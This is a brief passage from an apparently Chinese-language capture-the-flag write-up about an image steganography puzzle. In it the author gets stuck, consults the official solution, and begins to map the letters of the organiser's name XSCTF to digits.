这道题巨抽象&#xff01;巨抽象&#xff01;巨抽象&#xff01; 拿到图片&#xff0c;根据题目&#xff0c;尝试各种隐写方法。 这里就没思路了。查看WP。 根据题目的主办方&#xff1a;XSCTF。猜测XSCTF对应的是数字0&#xff0c;1&#xff0c;2&#xff0c;3&#xff0c;…